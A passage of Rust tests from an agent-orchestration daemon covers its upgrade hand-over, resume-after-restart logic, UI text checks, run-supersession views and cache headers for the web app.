18814 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18815 .await
18816 .expect("bind loopback");
18817 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
18818 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18819 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
18820 (ui, looping, turns, served)
18821 }
18822
18823 #[tokio::test]
18827 async fn hand_over_waits_for_a_running_chat_turn() {
18828 let home = TempDir::new().expect("temp home");
18829 let (ui, looping, turns, served) = park_fixture(&home).await;
18830 let ui = Arc::new(ui);
18831 let id = "20260901-000000-chat";
18832 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
18833
18834 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
18835 let handover = tokio::spawn({
18836 let home = home.path().to_path_buf();
18837 let turns = Arc::clone(&turns);
18838 let calls = Arc::clone(&calls);
18839 async move {
18840 hand_over(
18841 &home,
18842 &looping,
18843 &turns,
18844 &|_: &[String]| Duration::from_secs(60),
18845 served,
18846 move |_| {
18847 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18848 Ok(1)
18849 },
18850 )
18851 .await
18852 }
18853 });
18854
18855 let waiting = async {
18856 for _ in 0..200 {
18857 if crate::updater::read_progress(home.path())
18858 .is_some_and(|p| p.parked_talks == [id.to_owned()])
18859 {
18860 return;
18861 }
18862 tokio::time::sleep(Duration::from_millis(25)).await;
18863 }
18864 panic!("the park never named the chat turn");
18865 };
18866 waiting.await;
18867 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
18868
18869 let refused = ui.begin_talk_turn("20260901-000000-late").err();
18872 assert!(
18873 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
18874 "a direct start says an upgrade is in progress"
18875 );
18876 assert!(
18877 ui.begin_queued_talk_turn("20260901-000000-late")
18878 .expect("queued claim")
18879 .is_none()
18880 );
18881 assert!(matches!(
18882 ui.begin_talk_turn_unless_pending("20260901-000000-late")
18883 .expect("start"),
18884 TalkTurnStart::Busy
18885 ));
18886 assert_eq!(turns.lock().unwrap().live.len(), 1);
18887
18888 let progress = crate::updater::read_progress(home.path()).expect("progress");
18890 let view = upgrade_progress_view(&ui, progress);
18891 assert!(
18892 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
18893 "{:?}",
18894 view.waiting_on
18895 );
18896
18897 assert!(!handover.is_finished());
18898 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
18899 drop(turn);
18900 handover.await.expect("join").expect("hand over");
18901 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18902 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
18903 }
18904
18905 #[tokio::test]
18908 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
18909 let home = TempDir::new().expect("temp home");
18910 let (ui, looping, turns, served) = park_fixture(&home).await;
18911 let ui = Arc::new(ui);
18912 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
18914 lock_or_recover(&looping).live = Some(Live {
18915 stop: daemon::Stop::new(),
18916 handle: tokio::spawn(async move {
18917 let _ = loop_ended.await;
18918 }),
18919 opts: daemon::Opts::default(),
18920 });
18921
18922 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
18923 let handover = tokio::spawn({
18924 let home = home.path().to_path_buf();
18925 let turns = Arc::clone(&turns);
18926 let calls = Arc::clone(&calls);
18927 async move {
18928 hand_over(
18929 &home,
18930 &looping,
18931 &turns,
18932 &|_: &[String]| Duration::from_secs(60),
18933 served,
18934 move |_| {
18935 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18936 Ok(1)
18937 },
18938 )
18939 .await
18940 }
18941 });
18942
18943 let reached = async {
18944 for _ in 0..200 {
18945 if crate::updater::read_progress(home.path())
18946 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
18947 {
18948 return;
18949 }
18950 tokio::time::sleep(Duration::from_millis(25)).await;
18951 }
18952 panic!("the hand-over never reached parking");
18953 };
18954 reached.await;
18955
18956 assert!(!turns.lock().unwrap().parking);
18958 let turn = ui
18959 .begin_talk_turn("20260901-000000-chat")
18960 .expect("claim")
18961 .expect("a turn can start while the loop parks");
18962
18963 end_loop.send(()).expect("loop still waiting");
18965 for _ in 0..200 {
18966 if turns.lock().unwrap().parking {
18967 break;
18968 }
18969 tokio::time::sleep(Duration::from_millis(25)).await;
18970 }
18971 assert!(
18972 turns.lock().unwrap().parking,
18973 "closed once the loop is done"
18974 );
18975 let refused = ui.begin_talk_turn("20260901-000000-late").err();
18976 assert!(
18977 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
18978 "no turn starts once the loop is done"
18979 );
18980 assert!(
18981 ui.begin_queued_talk_turn("20260901-000000-late")
18982 .expect("queued claim")
18983 .is_none()
18984 );
18985 assert!(!handover.is_finished());
18986 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
18987
18988 drop(turn);
18989 handover.await.expect("join").expect("hand over");
18990 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18991 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
18992 }
18993
18994 #[tokio::test]
18997 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
18998 let home = TempDir::new().expect("temp home");
18999 let (ui, looping, turns, served) = park_fixture(&home).await;
19000 let id = "20260901-000000-stuk";
19001 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19002
19003 let calls = std::sync::atomic::AtomicUsize::new(0);
19004 hand_over(
19005 home.path(),
19006 &looping,
19007 &turns,
19008 &|_: &[String]| Duration::from_millis(300),
19009 served,
19010 |_| {
19011 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19012 Ok(1)
19013 },
19014 )
19015 .await
19016 .expect("hand over");
19017 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19018
19019 let progress = crate::updater::read_progress(home.path()).expect("progress");
19020 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
19021 assert!(
19022 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
19023 "{:?}",
19024 progress.detail
19025 );
19026 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
19027 assert!(
19028 log.contains("handing over anyway") && log.contains(id),
19029 "{log}"
19030 );
19031 }
19032
19033 #[tokio::test]
19036 async fn drain_loop_starts_no_turn_while_parking() {
19037 let tmp = TempDir::new().expect("tempdir");
19038 let repo = tmp.path().join("repo");
19039 std::fs::create_dir_all(&repo).expect("repo dir");
19040 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
19041 let home = TempDir::new().expect("temp home");
19042 let talks = Talks::at(home.path().join("talks"));
19043 let ui = Ui::new(
19044 Queue::at(home.path().join("queue")),
19045 Questions::at(home.path().join("questions")),
19046 talks.clone(),
19047 home.path().join("runs"),
19048 home.path().to_path_buf(),
19049 repo.clone(),
19050 )
19051 .with_worktrees_root(home.path().join("wt"));
19052 let cfg = config_for(&repo).await.expect("discover config");
19053 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
19054 let id = talk.id.clone();
19055 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
19056 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
19057 let turns = ui.turns();
19058 let parking = ParkingTurns::begin(&turns);
19059
19060 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
19061
19062 assert!(
19063 turns.lock().unwrap().live.is_empty(),
19064 "the slot is given up"
19065 );
19066 let fresh = talks.get(&id).expect("talk");
19067 assert_eq!(fresh.pending, "later", "the draft is still queued");
19068 assert!(fresh.turns.is_empty(), "no turn ran");
19069 drop(parking);
19070 }
19071
19072 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
19074 let looping = ui.looping();
19075 let turns = ui.turns();
19076 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19077 .await
19078 .expect("bind loopback");
19079 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
19080 let told = std::sync::Mutex::new(None);
19081 hand_over(
19082 home.path(),
19083 &looping,
19084 &turns,
19085 &|_: &[String]| Duration::from_secs(5),
19086 served,
19087 |resume| {
19088 *told.lock().unwrap() = Some(resume);
19089 Ok(1)
19090 },
19091 )
19092 .await
19093 .expect("hand over");
19094 told.into_inner().unwrap().expect("successor was started")
19095 }
19096
19097 #[tokio::test]
19098 async fn a_running_loop_is_resumed_by_the_successor() {
19099 let home = TempDir::new().expect("temp home");
19100 let ui = idle_ui(&home);
19101 ui.start_loop(None).expect("start");
19102 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19103 for _ in 0..500 {
19105 if !ui.loop_view(None).running {
19106 break;
19107 }
19108 tokio::time::sleep(Duration::from_millis(2)).await;
19109 }
19110 assert!(handed_over(&home, ui).await, "a running loop must resume");
19111
19112 let successor = idle_ui(&home);
19113 assert!(!successor.loop_view(None).running);
19114 assert!(successor.resume_after_handover(true));
19115 assert!(successor.loop_view(None).running);
19116 successor.stop_loop(None, false).expect("stop");
19117 }
19118
19119 #[tokio::test]
19120 async fn a_second_upgrade_request_keeps_the_resume_intent() {
19121 let home = TempDir::new().expect("temp home");
19122 let ui = idle_ui(&home);
19123 ui.start_loop(None).expect("start");
19124 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
19125 .expect("first park");
19126 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
19127 .expect("second park");
19128 assert!(handed_over(&home, ui).await);
19129 }
19130
19131 #[tokio::test]
19132 async fn a_stop_during_the_handover_wait_is_honoured() {
19133 let home = TempDir::new().expect("temp home");
19134 let ui = idle_ui(&home);
19135 ui.start_loop(None).expect("start");
19136 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19137 ui.stop_loop(None, false).expect("stop");
19138 assert!(!handed_over(&home, ui).await);
19139 }
19140
19141 #[tokio::test]
19142 async fn an_idle_loop_stays_stopped_across_the_handover() {
19143 let home = TempDir::new().expect("temp home");
19144 let ui = idle_ui(&home);
19145 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19146 assert!(!handed_over(&home, ui).await);
19147
19148 let successor = idle_ui(&home);
19149 assert!(!successor.resume_after_handover(false));
19150 assert!(!successor.loop_view(None).running);
19151 }
19152
19153 #[tokio::test]
19154 async fn a_loop_the_operator_stopped_is_not_resumed() {
19155 let home = TempDir::new().expect("temp home");
19156 let ui = idle_ui(&home);
19157 ui.start_loop(None).expect("start");
19158 ui.stop_loop(None, false).expect("stop");
19159 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19160 assert!(!handed_over(&home, ui).await);
19161 }
19162
19163 #[test]
19164 fn only_an_explicit_one_requests_a_resume() {
19165 assert!(!resume_requested(None));
19166 assert!(!resume_requested(Some("0".into())));
19167 assert!(!resume_requested(Some("".into())));
19168 assert!(resume_requested(Some("1".into())));
19169 }
19170
19171 #[test]
19172 fn the_upgrade_button_arms_before_it_restarts_anything() {
19173 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
19176 assert!(APP_JS.contains("Replace the binary and restart?"));
19177 assert!(APP_JS.contains("function confirmed("));
19178 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
19183 assert!(
19187 APP_JS.contains("Parking, then restarting"),
19188 "the button says what it is waiting for"
19189 );
19190 assert!(APP_JS.contains("if (!out.to)"));
19193 }
19194
19195 #[test]
19196 fn stopping_the_loop_arms_but_starting_does_not() {
19197 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
19200 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
19201 assert!(APP_JS.contains("confirmed(button, question)"));
19202 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
19205 assert!(APP_JS.contains("const label = btn.textContent;"));
19206 assert!(!APP_JS.contains("Neither direction is guarded"));
19207 }
19208
19209 #[test]
19210 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
19211 assert!(
19212 APP_JS.contains("state.health.version"),
19213 "the operator wants to know what is running even with nothing newer"
19214 );
19215 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
19216 }
19217
19218 #[test]
19219 fn the_upgrade_button_names_its_destination() {
19220 assert!(
19221 APP_JS.contains("`Update to ${update.to}`"),
19222 "pressing the button should not be a surprise about what it moves to"
19223 );
19224 }
19225
19226 #[test]
19227 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
19228 for stage in ["downloading", "replaced", "parking", "restarting"] {
19229 assert!(
19230 APP_JS.contains(&format!("\"{stage}\"")),
19231 "the phone must be able to tell {stage} apart from the others"
19232 );
19233 }
19234 assert!(APP_JS.contains(".waiting_on"));
19235 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
19240 assert!(APP_JS.contains("reconnects on its own"));
19241 }
19242
19243 #[test]
19244 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
19245 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
19254 ..APP_JS.find("function upgrade(").expect("upgrade")];
19255 assert!(
19256 !body.contains(
19257 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
19258 ),
19259 "a failed upgrade must not take the whole strip over the way it used to"
19260 );
19261 assert!(
19262 body.contains("upgradeFailNote"),
19263 "the failure has to reach the loop's own note instead"
19264 );
19265 assert_eq!(
19269 body.matches("upgradeFailNote].filter(Boolean).join")
19270 .count(),
19271 2,
19272 "both loop-why writers (quiet and control) must fold the note in"
19273 );
19274 }
19275
19276 #[test]
19277 fn an_overdue_upgrade_eventually_asks_for_a_human() {
19278 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
19281 assert!(APP_JS.contains("function upgradeOverdue("));
19282 }
19283
19284 #[test]
19285 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
19286 assert!(
19287 APP_JS.contains("Updated to ${upgradeInfo.to"),
19288 "the operator who asked for the restart wants to know it worked"
19289 );
19290 }
19291
19292 #[test]
19293 fn an_error_is_visible_from_where_the_button_is() {
19294 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
19299 ..APP_CSS.find(".alert-text").expect(".alert-text")];
19300 assert!(
19301 alert.contains("position: fixed"),
19302 "an error about the thing under your thumb has to be visible from \
19303 where your thumb is: {alert}"
19304 );
19305 assert!(
19306 alert.contains("z-index: 25"),
19307 "above the dock (20) and the run-actions FAB (15), so neither \
19308 buries it: {alert}"
19309 );
19310 assert!(
19311 alert.contains("var(--tap)"),
19312 "and clear of the dock and the home indicator: {alert}"
19313 );
19314 assert!(
19317 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
19318 "the FAB's column stays free: {alert}"
19319 );
19320 }
19321
19322 #[tokio::test]
19323 async fn an_older_attempt_says_what_replaced_it() {
19324 let fx = Fixture::start().await;
19325 let q = fx.queue();
19326 let runs = fx.runs();
19327 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
19328 write_run(&runs, first, RunStatus::Stalled);
19329 write_run(&runs, second, RunStatus::Blocked);
19330
19331 let mut t = Task::new(
19332 "one task".to_owned(),
19333 "do it".to_owned(),
19334 PathBuf::from("/repo"),
19335 Source::Human,
19336 );
19337 t.runs = vec![first.to_owned(), second.to_owned()];
19338 q.put(&mut t).expect("put");
19339
19340 let rows = fx.get("/api/runs").await.json();
19344 let by = |short: &str| -> Value {
19345 rows.as_array()
19346 .unwrap()
19347 .iter()
19348 .find(|r| r["short"] == short)
19349 .cloned()
19350 .unwrap_or(Value::Null)
19351 };
19352 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
19353 assert!(
19354 by("bbbb")["superseded_by"].is_null(),
19355 "the latest attempt is not superseded by anything"
19356 );
19357 assert!(APP_JS.contains("run.superseded_by"));
19359 assert!(APP_JS.contains("Superseded by"));
19360 }
19361
19362 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
19363 let mut t = Task::new(
19364 "one task".to_owned(),
19365 "do it".to_owned(),
19366 PathBuf::from("/repo"),
19367 Source::Human,
19368 );
19369 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
19370 t.status = status;
19371 t
19372 }
19373
19374 #[test]
19375 fn source_link_picks_the_page_that_filed_the_task() {
19376 let agent = |node: &str| Source::Agent {
19377 run: "20260904-014455-ab12".to_owned(),
19378 node: node.to_owned(),
19379 };
19380 let chat = source_link(&agent("chat")).expect("chat link");
19381 assert_eq!(chat.kind, "chat");
19382 assert_eq!(chat.id, "20260904-014455-ab12");
19383 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
19384 let run = source_link(&agent("implement")).expect("run link");
19385 assert_eq!(
19386 (run.kind, run.href.as_str()),
19387 ("run", "#/runs/20260904-014455-ab12")
19388 );
19389 assert_eq!(source_link(&Source::Human), None);
19390 assert_eq!(
19391 source_link(&Source::Issue {
19392 number: 3,
19393 repo: "o/r".to_owned()
19394 }),
19395 None
19396 );
19397 let odd = source_link(&Source::Agent {
19398 run: "a b/c".to_owned(),
19399 node: "chat".to_owned(),
19400 })
19401 .expect("link");
19402 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
19403 }
19404
19405 #[test]
19406 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
19407 assert!(
19408 !APP_JS.contains("src.node === \"chat\""),
19409 "inline href rule is back"
19410 );
19411 assert!(
19412 APP_JS.matches("sourceLinkOf(").count() >= 4,
19413 "helper must serve every page"
19414 );
19415 assert!(
19416 APP_JS.matches("openChatLink(").count() >= 3,
19417 "the run page still needs its explicit chat link"
19418 );
19419 assert!(
19420 !APP_JS.contains("const openChat = el("),
19421 "the Queue card duplicates its source label link again"
19422 );
19423 assert!(
19424 APP_JS.contains("metaKids.push(link ? el(\"a\""),
19425 "the task page must link a chat source label too"
19426 );
19427 }
19428
19429 #[test]
19430 fn task_ref_carries_the_source_link_for_a_chat_task() {
19431 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
19432 t.source = Source::Agent {
19433 run: "20260904-014455-ab12".to_owned(),
19434 node: "chat".to_owned(),
19435 };
19436 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
19437 let v = serde_json::to_value(&out).expect("json");
19438 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
19439 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
19440 assert_eq!(v["source_label"], t.source.label());
19441
19442 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
19443 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
19444 .expect("json");
19445 assert!(v["source_link"].is_null(), "{v}");
19446 }
19447
19448 #[test]
19449 fn task_view_serializes_source_link() {
19450 let mut t = Task::new(
19451 "t".to_owned(),
19452 "t".to_owned(),
19453 PathBuf::from("/repo"),
19454 Source::Agent {
19455 run: "20260901-000000-aaaa".to_owned(),
19456 node: "implement".to_owned(),
19457 },
19458 );
19459 t.runs.clear();
19460 let v = serde_json::to_value(TaskView::from(t)).expect("json");
19461 assert_eq!(v["source_link"]["kind"], "run", "{v}");
19462 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
19463 }
19464
19465 #[test]
19466 fn task_view_serializes_urgent_flag() {
19467 let mut t = Task::new(
19468 "t".to_owned(),
19469 "t".to_owned(),
19470 PathBuf::from("/repo"),
19471 Source::Human,
19472 );
19473 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
19474 assert_eq!(v["urgent"], false, "{v}");
19475 t.urgent = true;
19476 let v = serde_json::to_value(TaskView::from(t)).expect("json");
19477 assert_eq!(v["urgent"], true, "{v}");
19478 assert!(APP_JS.contains("task.urgent === true"));
19479 }
19480
19481 #[tokio::test]
19482 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
19483 let fx = Fixture::start().await;
19484 let runs = fx.runs();
19485 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
19486 write_run(&runs, old, RunStatus::Blocked);
19487 write_run(&runs, new, RunStatus::Merged);
19488 let mut t = outcome_task(&[old, new], TaskStatus::Done);
19489 fx.queue().put(&mut t).expect("put");
19490
19491 let view = fx.get(&format!("/api/runs/{old}")).await.json();
19492 let task = &view["task"];
19493 assert_eq!(task["status"], "done");
19494 assert_eq!(task["is_latest"], false);
19495 assert_eq!(task["latest"]["short"], "bbbb");
19496 assert_eq!(task["finished_by"]["id"], new);
19497 assert_eq!(task["finished_by"]["outcome"], "merged");
19498 assert_eq!(task["closed_by_hand"], false);
19499 assert_eq!(view["status"], "blocked", "the run keeps its own status");
19500 assert!(APP_JS.contains("finished_by"));
19501 assert!(APP_JS.contains("superseded by run"));
19502 }
19503
19504 #[tokio::test]
19505 async fn the_latest_run_reports_a_held_task_without_a_successor() {
19506 let fx = Fixture::start().await;
19507 let runs = fx.runs();
19508 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
19509 write_run(&runs, old, RunStatus::Stalled);
19510 write_run(&runs, new, RunStatus::Blocked);
19511 let mut t = outcome_task(&[old, new], TaskStatus::Held);
19512 fx.queue().put(&mut t).expect("put");
19513
19514 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
19515 assert_eq!(task["status"], "held");
19516 assert_eq!(task["is_latest"], true);
19517 assert!(task["latest"].is_null());
19518 assert!(task["finished_by"].is_null());
19519 assert_eq!(task["closed_by_hand"], false);
19520 }
19521
19522 #[tokio::test]
19523 async fn a_direct_run_has_no_task_outcome() {
19524 let fx = Fixture::start().await;
19525 let runs = fx.runs();
19526 let id = "20260901-000000-aaaa";
19527 write_run(&runs, id, RunStatus::Blocked);
19528 let view = fx.get(&format!("/api/runs/{id}")).await.json();
19529 assert!(view["task"].is_null());
19530 }
19531
19532 #[test]
19533 fn task_outcome_does_not_guess_a_finishing_run() {
19534 let a = "20260901-000000-aaaa";
19535 let b = "20260901-000000-bbbb";
19536 let c = "20260901-000000-cccc";
19537 let dir = tempfile::tempdir().expect("tempdir");
19538 write_run(dir.path(), a, RunStatus::Blocked);
19539 write_run(dir.path(), b, RunStatus::VerifiedNoop);
19540 let read = |id: &str| read_run(dir.path(), id).ok();
19542 let t = outcome_task(&[a, b, c], TaskStatus::Done);
19545 let out = task_outcome(&t, a, 3, read);
19546 assert!(out.finished_by.is_none());
19547 assert!(out.closed_by_hand);
19548 let latest = out.latest.expect("latest");
19549 assert_eq!(latest.id, c);
19550 assert_eq!(latest.status, None);
19551 assert_eq!(latest.outcome, "record unreadable");
19552
19553 write_run(dir.path(), c, RunStatus::Ready);
19555 let t = outcome_task(&[a, c], TaskStatus::Done);
19556 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
19557 assert_eq!(out.finished_by.expect("finisher").id, c);
19558 assert!(!out.closed_by_hand);
19559
19560 let t = outcome_task(&[a, b, a], TaskStatus::Held);
19562 assert!(task_outcome(&t, a, 3, read).is_latest);
19563 }
19564
19565 #[tokio::test]
19566 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
19567 let fx = Fixture::start().await;
19572 let q = fx.queue();
19573 let runs = fx.runs();
19574 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
19575 write_run(&runs, first, RunStatus::Blocked);
19576 write_run(&runs, second, RunStatus::Merged);
19577
19578 let mut t = Task::new(
19579 "one task".to_owned(),
19580 "do it".to_owned(),
19581 PathBuf::from("/repo"),
19582 Source::Human,
19583 );
19584 t.runs = vec![first.to_owned(), second.to_owned()];
19585 q.put(&mut t).expect("put");
19586
19587 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
19588 assert_eq!(earlier["superseded_by"], "dddd");
19589 assert_eq!(earlier["latest_attempt"]["id"], second);
19590 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
19591 assert_eq!(
19592 earlier["latest_attempt"]["resolved"], true,
19593 "the run that replaced it landed, so this one reads as settled"
19594 );
19595
19596 let later = fx.get(&format!("/api/runs/{second}")).await.json();
19597 assert!(
19598 later["superseded_by"].is_null(),
19599 "the latest attempt is not superseded by anything"
19600 );
19601 assert!(
19602 later["latest_attempt"].is_null(),
19603 "the latest attempt has no later attempt of its own"
19604 );
19605
19606 assert!(APP_JS.contains("run.latest_attempt"));
19613 assert!(APP_JS.contains("data-superseded"));
19614 assert!(APP_JS.contains("#/runs/${latest.id}"));
19615 }
19616
19617 #[tokio::test]
19618 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
19619 let fx = Fixture::start().await;
19625 let q = fx.queue();
19626 let runs = fx.runs();
19627 let (a, b, c) = (
19628 "20260901-000000-aaaa",
19629 "20260901-000000-bbbb",
19630 "20260901-000000-cccc",
19631 );
19632 write_run(&runs, a, RunStatus::Blocked);
19633 write_run(&runs, b, RunStatus::Blocked);
19634 write_run(&runs, c, RunStatus::Merged);
19635
19636 let mut t = Task::new(
19637 "retried twice".to_owned(),
19638 "do it".to_owned(),
19639 PathBuf::from("/repo"),
19640 Source::Human,
19641 );
19642 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
19643 q.put(&mut t).expect("put");
19644
19645 let view = fx.get(&format!("/api/runs/{a}")).await.json();
19646 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
19647 assert_eq!(
19648 view["latest_attempt"]["id"], c,
19649 "the chain's current head, not the intermediate Blocked retry"
19650 );
19651 assert_eq!(view["latest_attempt"]["resolved"], true);
19652
19653 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
19654 assert_eq!(mid["latest_attempt"]["id"], c);
19655 assert_eq!(mid["latest_attempt"]["resolved"], true);
19656 }
19657
19658 #[tokio::test]
19659 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
19660 let fx = Fixture::start().await;
19661 let q = fx.queue();
19662 let runs = fx.runs();
19663
19664 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
19667 write_run(&runs, still_blocked_a, RunStatus::Blocked);
19668 write_run(&runs, still_blocked_b, RunStatus::Blocked);
19669 let mut t1 = Task::new(
19670 "still stuck".to_owned(),
19671 "do it".to_owned(),
19672 PathBuf::from("/repo"),
19673 Source::Human,
19674 );
19675 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
19676 q.put(&mut t1).expect("put");
19677 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
19678 assert_eq!(view1["latest_attempt"]["resolved"], false);
19679 assert_eq!(view1["latest_attempt"]["status"], "blocked");
19680 assert_eq!(view1["latest_attempt"]["done"], true);
19681
19682 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
19684 write_run(&runs, run_a, RunStatus::Blocked);
19685 write_run(&runs, run_b, RunStatus::Implementing);
19686 let mut t3 = Task::new(
19687 "retrying".to_owned(),
19688 "do it".to_owned(),
19689 PathBuf::from("/repo"),
19690 Source::Human,
19691 );
19692 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
19693 q.put(&mut t3).expect("put");
19694 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
19695 assert_eq!(view3["latest_attempt"]["id"], run_b);
19696 assert_eq!(view3["latest_attempt"]["resolved"], false);
19697 assert_eq!(view3["latest_attempt"]["done"], false);
19698
19699 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
19704 write_run(&runs, noop_a, RunStatus::Blocked);
19705 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
19706 let mut t2 = Task::new(
19707 "claims done".to_owned(),
19708 "do it".to_owned(),
19709 PathBuf::from("/repo"),
19710 Source::Human,
19711 );
19712 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
19713 q.put(&mut t2).expect("put");
19714 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
19715 assert_eq!(
19716 view2["latest_attempt"]["resolved"], false,
19717 "an unverified no-op claim must not read as a confirmed finish"
19718 );
19719
19720 assert!(APP_JS.contains("latest.resolved"));
19723 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
19726 assert!(APP_JS.contains("Latest attempt: "));
19727 assert!(APP_JS.contains("in flight"));
19728 assert!(APP_JS.contains("not resolved"));
19729 }
19730
19731 #[tokio::test]
19732 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
19733 let fx = Fixture::start().await;
19734 let js = fx.get("/app.js").await;
19740 assert_eq!(js.status, 200);
19741 let tag = js
19742 .header("etag")
19743 .expect("an etag to revalidate against")
19744 .to_owned();
19745 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
19746 assert_eq!(
19747 js.header("cache-control"),
19748 Some("no-cache, must-revalidate"),
19749 "the phone has to ask every time"
19750 );
19751
19752 let again = fx
19755 .get_with("/app.js", &[("if-none-match", tag.as_str())])
19756 .await;
19757 assert_eq!(
19758 again.status, 304,
19759 "a deck it already has costs one round trip"
19760 );
19761 assert!(again.body.is_empty(), "304 carries no body");
19762
19763 let weak = fx
19766 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
19767 .await;
19768 assert_eq!(weak.status, 304);
19769 let stale = fx
19770 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
19771 .await;
19772 assert_eq!(stale.status, 200, "an older build must be replaced");
19773 assert!(stale.body.contains("renderRunActions"));
19774 }
19775
19776 #[test]
19777 fn the_task_detail_has_an_actions_fab_and_sheet() {
19778 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
19779 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
19780 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
